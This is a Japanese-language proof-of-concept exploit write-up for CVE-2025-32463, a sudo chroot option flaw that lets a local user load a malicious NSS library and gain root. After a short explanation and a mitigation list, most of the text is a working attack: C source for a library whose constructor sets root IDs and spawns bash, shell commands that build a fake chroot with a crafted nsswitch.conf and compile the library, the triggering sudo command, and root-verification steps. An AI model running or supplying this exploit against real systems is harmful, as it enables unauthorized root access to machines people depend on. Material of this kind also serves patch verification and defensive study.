
CVE-2025-32463 - Sudo権限昇格のPoCエクスプロイト
sudoにおける特権昇格の脆弱性が、Linux/Unix系システムに影響を与えます。この欠陥は、sudoが-R(--chroot)オプションと共に使用された際の不適切なパス検証に起因し、攻撃者が悪意のあるNSSライブラリのロードを介してrootに昇格することを可能にします。
sudoがchroot環境(-Rオプション)内でコマンドを実行する際、エラー状態でのNSS (Name Service Switch) ライブラリの読み込みを誤って処理します。LD_LIBRARY_PATHや/etc/nsswitch.conf内のパスのサニタイズの欠如)により、正規のNSSライブラリ(例:libnss_files.so)の代わりに悪意のあるライブラリが読み込まれる可能性があります。sudoを最新パッチ版にアップデートする。sudoの権限を制限する(可能な場合はchrootの使用を制限)。LD_LIBRARY_PATHを制限する。/etc/nsswitch.confを安全にする。/etc/sudoersで**secure_pathを強制**し、ライブラリの検索パスを制限する。| コンポーネント | 脆弱性のトリガー |
|---|---|
sudo -R | 誤ったchrootパス検証。 |
| NSS | エラー時の安全でないライブラリ読み込み。 |
| 悪用 | パスハイジャック → 悪意あるライブラリのロード。 |
CVE ID: CVE-2025-32463
影響を受けるバージョン: Sudo 1.9.14 から 1.9.17
CVSSスコア: 9.8 (Critical)
影響: ローカルからrootへの特権昇格
No such file or directoryと応答した場合、脆弱性が存在します:
sudo -R invalid invalid
sudo: invalid: No such file or directory
まず、作業用の一時ディレクトリを作成します:
TMP_DIR=$(mktemp -d -t sudobridge.XXXXXX) cd $TMP_DIR
このコマンドは一意の名前を持つ一時ディレクトリを作成し、そこへ移動します。mktempコマンドにより、既存のシステムファイルに干渉しないようにします。
悪意のあるライブラリにコンパイルされるCファイル (bridge90.c) を作成する必要があります:
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void bridge(void) {
setreuid(0,0); // 実ユーザーIDと実効ユーザーIDをrootに設定
setregid(0,0); // 実グループIDと実効グループIDをrootに設定
chdir("/"); // ルートディレクトリに移動
execl("/bin/sh", "sh", "-c", "/bin/bash", NULL); // シェルを実行
}
主要な構成要素:
__attribute__((constructor)) により、ライブラリが読み込まれた際に関数が実行される
setreuid と setregid で権限をrootに昇格
execl でbashシェルを起動
mkdir -p bridge/etc echo "passwd: /bridge90" > bridge/etc/nsswitch.conf cp /etc/group bridge/etc/ mkdir libnss_ gcc -shared -fPIC -Wl,-init,bridge -o libnss_/bridge90.so.2 bridge90.c
詳細:
bridge/etcに偽のchroot環境を作成
nsswitch.confを変更して悪意のあるパスを参照させる
正規の/etc/groupファイルをコピーして正当性を維持
悪意のあるライブラリ用のディレクトリを作成
CコードをNSS (Name Service Switch) の命名規則に合わせた共有ライブラリにコンパイル
sudo -R bridge bridge
このコマンドは細工された環境を使用しようとします:
最初のbridgeは悪意のある設定を含むchrootディレクトリ
2番目のbridgeは実行するコマンド(ライブラリを読み込む)
エクスプロイト成功後、rootアクセスを確認:
whoami # "root" と表示されるはず
id -u # "0" (rootのUID) と表示されるはず
graph LR
A[Malicious Library] --> B[Fake Chroot]
B --> C[Trigger Error]
C --> D[Library Load]
D --> E[Root Execution]このPoCエクスプロイトは教育目的のみです!このエクスプロイトの誤用によって生じたいかなる結果についても私は責任を負いません!